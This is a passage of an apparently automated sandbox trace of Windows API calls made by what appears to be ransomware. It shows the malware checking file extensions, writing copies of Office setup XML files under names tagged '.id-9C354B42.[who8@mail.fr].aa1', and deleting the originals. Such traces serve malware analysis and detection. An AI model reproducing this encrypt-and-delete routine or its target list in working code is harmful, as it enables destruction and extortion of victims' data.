(lpString=".xls") returned 4 [0209.908] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString=".xlsx") returned 5 [0209.908] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.908] lstrlenW (lpString=".ppt") returned 4 [0209.908] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString=".zip") returned 4 [0209.908] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.908] lstrlenW (lpString=".rar") returned 4 [0209.908] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString=".bz2") returned 4 [0209.908] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString=".7z") returned 3 [0209.908] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString=".dbf") returned 4 [0209.908] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString=".1cd") returned 4 [0209.908] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString=".jpg") returned 4 [0209.908] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.908] lstrlenW (lpString=".doc") returned 4 [0209.908] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.908] lstrlenW (lpString=".docx") returned 5 [0209.909] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.909] lstrlenW (lpString=".pdf") returned 4 [0209.909] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString=".xls") returned 4 [0209.909] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString=".xlsx") returned 5 [0209.909] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.909] lstrlenW (lpString=".ppt") returned 4 [0209.909] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.909] lstrlenW (lpString=".zip") returned 4 [0209.909] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.909] lstrlenW (lpString=".rar") returned 4 [0209.909] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString=".bz2") returned 4 [0209.909] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString=".7z") returned 3 [0209.909] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.909] lstrlenW (lpString=".dbf") returned 4 [0209.909] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.909] lstrlenW (lpString=".1cd") returned 4 [0209.909] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.909] lstrlenW (lpString=".jpg") returned 4 [0209.909] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.910] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.910] lstrlenW (lpString="SETUP.XML") returned 9 [0209.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.920] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1872) returned 1 [0209.920] CloseHandle (hObject=0x164) returned 1 [0209.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0209.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.921] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.921] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.921] GetLastError () returned 0x0 [0209.921] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x750, lpOverlapped=0x0) returned 1 [0209.995] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x760, lpOverlapped=0x0) returned 1 [0209.996] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.996] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.996] SetEndOfFile (hFile=0x204) returned 1 [0209.996] CloseHandle (hObject=0x204) returned 1 [0210.001] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.001] SetEndOfFile (hFile=0x164) returned 1 [0210.011] CloseHandle (hObject=0x164) returned 1 [0210.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0210.011] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0210.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.012] lstrlenW (lpString=".doc") returned 4 [0210.012] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.012] lstrlenW (lpString=".docx") returned 5 [0210.012] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.012] lstrlenW (lpString=".pdf") returned 4 [0210.012] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.012] lstrlenW (lpString=".xls") returned 4 [0210.012] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.012] lstrlenW (lpString=".xlsx") returned 5 [0210.012] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.012] lstrlenW (lpString=".ppt") returned 4 [0210.012] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.013] lstrlenW (lpString=".zip") returned 4 [0210.013] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.013] lstrlenW (lpString=".rar") returned 4 [0210.013] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.013] lstrlenW (lpString=".bz2") returned 4 [0210.013] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.013] lstrlenW (lpString=".7z") returned 3 [0210.013] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.013] lstrlenW (lpString=".dbf") returned 4 [0210.013] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.013] lstrlenW (lpString=".1cd") returned 4 [0210.013] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.013] lstrlenW (lpString=".jpg") returned 4 [0210.013] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.014] lstrlenW (lpString=".doc") returned 4 [0210.014] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.014] lstrlenW (lpString=".docx") returned 5 [0210.014] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.014] lstrlenW (lpString=".pdf") returned 4 [0210.014] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.014] lstrlenW (lpString=".xls") returned 4 [0210.014] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.014] lstrlenW (lpString=".xlsx") returned 5 [0210.014] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.014] lstrlenW (lpString=".ppt") returned 4 [0210.014] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.014] lstrlenW (lpString=".zip") returned 4 [0210.014] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.015] lstrlenW (lpString=".rar") returned 4 [0210.015] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.015] lstrlenW (lpString=".bz2") returned 4 [0210.015] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.015] lstrlenW (lpString=".7z") returned 3 [0210.015] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.015] lstrlenW (lpString=".dbf") returned 4 [0210.015] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.015] lstrlenW (lpString=".1cd") returned 4 [0210.015] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0210.015] lstrlenW (lpString=".jpg") returned 4 [0210.015] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.016] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0210.016] lstrlenW (lpString="Proof.XML") returned 9 [0210.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0210.016] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1458) returned 1 [0210.016] CloseHandle (hObject=0x164) returned 1 [0210.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0210.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0210.017] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.017] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0210.017] GetLastError () returned 0x0 [0210.017] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0210.319] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0210.320] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.320] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.320] SetEndOfFile (hFile=0x1fc) returned 1 [0210.320] CloseHandle (hObject=0x1fc) returned 1 [0210.321] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.321] SetEndOfFile (hFile=0x164) returned 1 [0210.900] CloseHandle (hObject=0x164) returned 1 [0210.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0210.901] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0210.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.901] lstrlenW (lpString=".doc") returned 4 [0210.901] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.901] lstrlenW (lpString=".docx") returned 5 [0210.901] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0210.901] lstrlenW (lpString=".pdf") returned 4 [0210.901] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.901] lstrlenW (lpString=".xls") returned 4 [0210.901] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.901] lstrlenW (lpString=".xlsx") returned 5 [0210.901] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0210.901] lstrlenW (lpString=".ppt") returned 4 [0210.901] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.901] lstrlenW (lpString=".zip") returned 4 [0210.902] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.902] lstrlenW (lpString=".rar") returned 4 [0210.902] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.902] lstrlenW (lpString=".bz2") returned 4 [0210.902] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.902] lstrlenW (lpString=".7z") returned 3 [0210.902] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.902] lstrlenW (lpString=".dbf") returned 4 [0210.902] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.902] lstrlenW (lpString=".1cd") returned 4 [0210.902] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.902] lstrlenW (lpString=".jpg") returned 4 [0210.902] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.903] lstrlenW (lpString=".doc") returned 4 [0210.903] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString=".docx") returned 5 [0210.903] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0210.903] lstrlenW (lpString=".pdf") returned 4 [0210.903] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString=".xls") returned 4 [0210.903] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString=".xlsx") returned 5 [0210.903] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0210.903] lstrlenW (lpString=".ppt") returned 4 [0210.903] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.903] lstrlenW (lpString=".zip") returned 4 [0210.903] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.903] lstrlenW (lpString=".rar") returned 4 [0210.903] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString=".bz2") returned 4 [0210.903] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.903] lstrlenW (lpString=".7z") returned 3 [0210.903] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.903] lstrlenW (lpString=".dbf") returned 4 [0210.904] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.904] lstrlenW (lpString=".1cd") returned 4 [0210.904] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0210.904] lstrlenW (lpString=".jpg") returned 4 [0210.904] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.904] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0210.904] lstrlenW (lpString="SETUP.XML") returned 9 [0210.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0210.908] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5884) returned 1 [0210.908] CloseHandle (hObject=0x1fc) returned 1 [0210.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0210.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0210.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0211.517] GetLastError () returned 0x0 [0211.517] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0211.899] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0211.900] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.900] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.900] SetEndOfFile (hFile=0x17c) returned 1 [0211.900] CloseHandle (hObject=0x17c) returned 1 [0211.900] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.900] SetEndOfFile (hFile=0x1fc) returned 1 [0211.901] CloseHandle (hObject=0x1fc) returned 1 [0211.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.901] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 